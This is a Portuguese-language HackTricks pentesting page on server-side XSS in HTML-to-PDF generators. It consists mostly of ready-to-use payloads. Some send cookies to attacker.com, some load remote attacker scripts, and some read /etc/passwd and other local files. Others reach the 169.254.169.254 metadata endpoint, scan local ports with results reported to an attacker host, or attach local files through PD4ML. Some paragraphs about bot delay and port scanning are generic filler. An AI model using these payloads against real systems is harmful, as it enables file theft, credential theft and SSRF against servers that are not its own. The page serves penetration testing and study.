hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

13 KiB

Server Side XSS (PDF Dinâmico)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Server Side XSS (PDF Dinâmico)

Se uma página da web está criando um PDF usando uma entrada controlada pelo usuário, você pode tentar enganar o bot que está criando o PDF para executar código JS arbitrário.
Portanto, se o bot criador de PDF encontrar algum tipo de tags HTML, ele vai interpretá-las, e você pode abusar desse comportamento para causar um Server XSS.

Por favor, observe que as tags <script></script> nem sempre funcionam, então você precisará de um método diferente para executar JS (por exemplo, abusando de <img ).
Além disso, observe que em uma exploração regular você será capaz de ver/fazer o download do PDF criado, então você poderá ver tudo o que você escrever via JS (usando document.write() por exemplo). Mas, se você não puder ver o PDF criado, provavelmente precisará extrair as informações fazendo uma solicitação web para você (Blind).

  • wkhtmltopdf: Esta é uma ferramenta de linha de comando de código aberto que usa o mecanismo de renderização WebKit para converter HTML e CSS em documentos PDF.
  • TCPDF: Uma biblioteca PHP para gerar documentos PDF que suporta uma ampla gama de recursos, incluindo imagens, gráficos e criptografia.
  • PDFKit : Uma biblioteca Node.js que pode ser usada para gerar documentos PDF a partir de HTML e CSS.
  • iText: Uma biblioteca baseada em Java para gerar documentos PDF que suporta uma variedade de recursos, incluindo assinaturas digitais e preenchimento de formulários.
  • FPDF: Uma biblioteca PHP para gerar documentos PDF que é leve e fácil de usar.

Payloads

Descoberta

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Qualquer um dos payloads anteriores ou seguintes podem ser usados dentro deste payload SVG. Um iframe acessando um subdomínio Burpcollab e outro acessando o endpoint de metadados são colocados como exemplos.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Você pode encontrar muitos outros payloads SVG em https://github.com/allanlw/svg-cheatsheet

Divulgação de caminho

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Carregar um script externo

A melhor maneira de explorar essa vulnerabilidade é abusar dela para fazer com que o bot carregue um script que você controla localmente. Em seguida, você poderá alterar o payload localmente e fazer com que o bot o carregue com o mesmo código todas as vezes.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Ler arquivo local / SSRF

{% hint style="warning" %} Altere file:///etc/passwd para http://169.254.169.254/latest/user-data, por exemplo, para tentar acessar uma página web externa (SSRF).

Se o SSRF for permitido, mas você não conseguir acessar um domínio ou IP interessante, verifique esta página em busca de possíveis bypasses. {% endhint %}

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Atraso do Bot

Em certos casos, os sites podem implementar mecanismos para detectar e bloquear atividades suspeitas de bots. Um desses mecanismos é o atraso do bot, que consiste em adicionar um atraso entre as solicitações enviadas pelo bot. Isso é feito para imitar o comportamento humano e evitar a detecção automática.

Durante um teste de penetração, é importante levar em consideração o atraso do bot ao realizar solicitações automatizadas. Caso contrário, o site pode detectar o comportamento suspeito e bloquear o bot.

Para contornar o atraso do bot, é possível ajustar o tempo de espera entre as solicitações, tornando-o mais semelhante ao comportamento humano. Isso pode ser feito usando técnicas como atrasos aleatórios ou atrasos baseados em padrões de uso típicos.

É importante lembrar que o objetivo do teste de penetração é identificar vulnerabilidades e fornecer recomendações para melhorar a segurança do sistema. Portanto, é essencial agir de forma ética e respeitar as políticas e diretrizes estabelecidas pelo cliente.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Verificação de Portas

A verificação de portas é uma técnica comum usada durante um teste de penetração para identificar quais portas estão abertas em um sistema alvo. Isso permite que o testador determine quais serviços estão sendo executados e quais portas estão expostas à rede.

Existem várias ferramentas disponíveis para realizar uma verificação de portas, como o Nmap e o Masscan. Essas ferramentas enviam pacotes para as portas do sistema alvo e analisam as respostas para determinar se a porta está aberta, fechada ou filtrada.

Uma vez que as portas abertas são identificadas, o testador pode explorar essas portas em busca de vulnerabilidades conhecidas ou realizar ataques específicos para obter acesso não autorizado ao sistema.

É importante ressaltar que a verificação de portas deve ser realizada apenas em sistemas nos quais você tenha permissão legal para testar. Realizar uma verificação de portas em sistemas sem autorização é ilegal e pode resultar em consequências legais graves.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

Essa vulnerabilidade pode ser facilmente transformada em um SSRF (você pode fazer o script carregar recursos externos). Então tente explorá-la (ler alguns metadados?).

Anexos: PD4ML

Existem alguns motores HTML 2 PDF que permitem especificar anexos para o PDF, como o PD4ML. Você pode abusar dessa funcionalidade para anexar qualquer arquivo local ao PDF.
Para abrir o anexo, abri o arquivo com o Firefox e cliquei duas vezes no símbolo do clip de papel para armazenar o anexo como um novo arquivo.
Capturar a resposta em PDF com o burp também deve mostrar o anexo em texto claro dentro do PDF.

{% code overflow="wrap" %}

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

{% endcode %}

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥